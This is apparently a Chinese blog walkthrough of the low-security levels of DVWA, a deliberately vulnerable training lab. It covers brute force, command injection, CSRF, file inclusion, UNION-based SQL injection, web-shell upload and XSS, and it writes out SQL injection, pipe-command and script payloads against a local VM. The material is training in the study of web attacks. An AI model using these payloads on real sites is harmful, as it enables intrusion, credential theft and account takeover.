DVWA低等级通关指南-超详细版

1.Brute Force

一打开就是这种界面,因为是brute force,所以先尝试爆破

查看一下源代码

没有任何防护手段,直接上BP

Ctrl+I进入intruder模块

先clear ,然后选中要爆破字段,点击add

设置Payloads

选择字典

读取以后


可以看到共有2107条记录,接下来设置Options,设置线程数,重试时间(只有pro版本有这个功能,普通版本无法进行设置,默认的也可以,就是速度慢一些)

点击右上角的Start attack!

此时正在尝试对密码进行爆破,图中白框中出现的是尝试过的,点击可以查看详情

这是请求头,最主要是看上面蓝框中的Length字段,找出与众不同的一项

点击length就可以对响应包的长度进行排序,找最大或最小的值,然后看这个HTTP请求的响应报文


点击Response可以看响应报文信息,从响应报文中可以看出,红框中框出的就是成功的意思,已经进入admin密码保护区域。


之所以需要找length与众不同的一项就是因为响应报文不一样,只要密码正确和错误返回的不是同一个响应报文,其长度一般都是不同的,所以找出不同的一项,就可以找出正
确的一项。

将密码password输入看看结果

登录成功

还有一种方法是利用sql注入

看代码中的红框圈出来的语句,没有进行任何的防护,因此可以通过精心设计绕过该请求语句

在user中输入1’ or ‘1’=’1 ,password为空,这样可使上面的语句变成
SELECT * FROM `users` WHERE user='admin' or ‘1’=’1’ AND 
password='';

或者user输入admin’ # ,password为空

这样可使上面的语句变成
SELECT * FROM `users` WHERE user='admin' # ’ AND password='';

注意,在sql中#是注释符号,后面的语句都会被注释掉,也就是语句变成了
SELECT * FROM `users` WHERE user='admin'

看看结果如何

2.命令执行

打开页面就是这样,框中让填入IP地址,而本题又是命令执行,看看怎么解决?

查看源码

看图中红框圈出的语句,可以发现没有任何的保护措施,ip字段如果在IP后面加 ‘|’
再添加一个命令,则会直接执行该命令。

原始语句变成了ping | ls,直接输出该目录下的文件。这样就可以操作服务器中的文件,比如这样

比如这样
|echo "(script)alert('xss')(/script)">1.php 圆括号换成尖括号

|cat 1.php

3.CSRF(跨站请求伪造)

打开时题目是这样的

这个链接用来更新某个用户的密码,来看一下源码

只要用户访问下图这样的链接,密码就会被直接更改,毫无防备。

可是你要说了,我会这么傻,点击这种这么明显的恶意链接?那么这样呢


不要因为我没做一个好看的页面而说太假不看,就说内容吸引不吸引你?尤其是在春招当头,一个阿里学姐学长的面经是多么的宝贵呀,你动心不动心?
点一下看看又没啥,不是吗?

哦,出错了,文件未找到,可能是被删除了吧。你也没多想,你也没感觉有啥不对劲,毕竟404你见得多了~

这时,你再想访问DVWA时,发现貌似有点问题

明明是这个密码呀,怎么错误了?联想一下刚才我说的跨站请求,大概明白了点什么,那到底发生了什么呢?

首先创建一个file.html,里面写下如下代码


攻击者将该链接写入到img标签的src里,访问网页时自动加载图片,也就会自动访问该网址,但是图片已经被设置为不显示了,所以你看不到,你看到的只是404

然后攻击者将这个链接放入到一个你感兴趣的网页,钓鱼执法(再次强调别因为我页面渣吐槽我)

然后你点击链接,链接访问file.html,
自动加载图片地址,访问更改的网址,然后达到攻击者目的,你的密码就被修改了

4.文件包含

看题目的意思是让我们把url的参数改一改呀,先看一看源码吧

如此简洁,真是令人赏心悦目,就是这个有点危险吧~
A.本地文件包含

构造链接http://192.168.150.131/dvwa/vulnerabilities/fi/?
page=/etc/shadow

返回了绝对路径地址,可以看出来该服务器是linux系统,那么读取绝对路径文件php.ini看出来php.
ini的配置信息

也可以用相对地址../../php.ini

B.远程文件包含


当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没
有检查的话,就容易导致任意远程代码执行。

在本机服务器中上传l.php探针文件,然后利用该漏洞进行远程包含

因为虚拟机中的DVWA出现了一些问题,没法远程包含,所以本题的远程包含变成了本地包含虚拟机中的phpinfo.
txt

可以看到该页面被远程执行了,这样其实有点明显,很明显看出来这个链接有问题,可以通过url编码进行伪装

也可以成功执行,试试hex编码

失败了,无伤大雅

5.SQL注入

看题

输入用户1

用户2

输入1’ or ‘1’=’1

得到了全部用户名,但是有啥用?

输入1’ order by 3#

输入1’ order by 2#

暴库:查询database,1' union select 1,database()#
,可以看出database是dvwa

暴表名:查询table_name, 1' union select 1,(select
group_concat(table_name) from information_schema.tables where
table_schema='dvwa')#

暴字段名:1' union select 1,(select
group_concat(column_name) from information_schema.columns where
table_name='guestbook')#

1' union select 1,(select group_concat(column_name)
from information_schema.columns where table_name='users')#

后面显示不下了,字段实在太多了,不过已经够了,看到了user和password字段,接下来爆字段

暴字段值:1' union select 1,(select
group_concat(User,Password) from users)#

看到用户名是admin,密码是5f4dcc3b5aa765d61d8327deb882cf99

看起来是MD5加密过的数据,在线解密一下

嗯,大功告成,这回看看源码,一切进行的有点顺利,并没有对’等特殊符号与函数做相应处理

直接把id放到sql语句,没有做任何处理。

6.SQL盲注

跟刚才的题差不多,试试刚才的解法有没有问题

暴库:查询database,1' union select 1,database()#
,可以看出database是dvwa

暴表名:查询table_name, 1' union select 1,(select
group_concat(table_name) from information_schema.tables where
table_schema='dvwa')#

暴字段名:1' union select 1,(select
group_concat(column_name) from information_schema.columns where
table_name='users')#

这次少了很多列啊,咋回事呢?

暴字段值:1' union select 1,(select
group_concat(User,Password) from users)#

依然可以成功,这是为啥?

对比一下两回的源码,只有红框中内容不一样,查询后发现@为错误控制运算符,当将其放置在一个 PHP
表达式之前,该表达式可能产生的任何错误信息都被忽略掉。原来只是丢失了回显的错误信息,问题不大

7.文件上传

看看源码

虽说是上传图片,但是没有对上传文件做任何限制,直接上传个一句话木马。在trojan.php中写入下图代码

上传文件

文件地址直接返回给我们了,更方便了,菜刀连接一下

地址栏为原网页地址+存储后返回的地址,本例中是http://192.168.150.131/dvwa/
vulnerabilities/upload/../../hackable/uploads/trojan.php,记得把#去掉

连接一下

已经连接上了,可以看到别的文件夹的内容

8.反射型XSS

直接alert试试:(script)alert('xss')(/script)把圆括号换成尖括号

直接就成功了,没有进行任何的防护

看看源码,果然如此

9.存储型XSS

输入到这里就输入不了了,应该是对长度有限制,可以尝试从下面注入,也可以bp改包绕过长度限制

先试试message注入


结果成功了,此时页面中多了一条记录,就是test1,被存储到数据库中,这种xss危害性最大,具有永久性,且可以窃取所有访问该页面的用户的cookie,而不需要像
csrf和xss需要欺骗用户进行点击。

以上就是DVWA低等级的通关实例,中级和高级也会出的,不要着急。

路漫漫其修远兮,吾将上下而求索。

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注

[2;3Rer>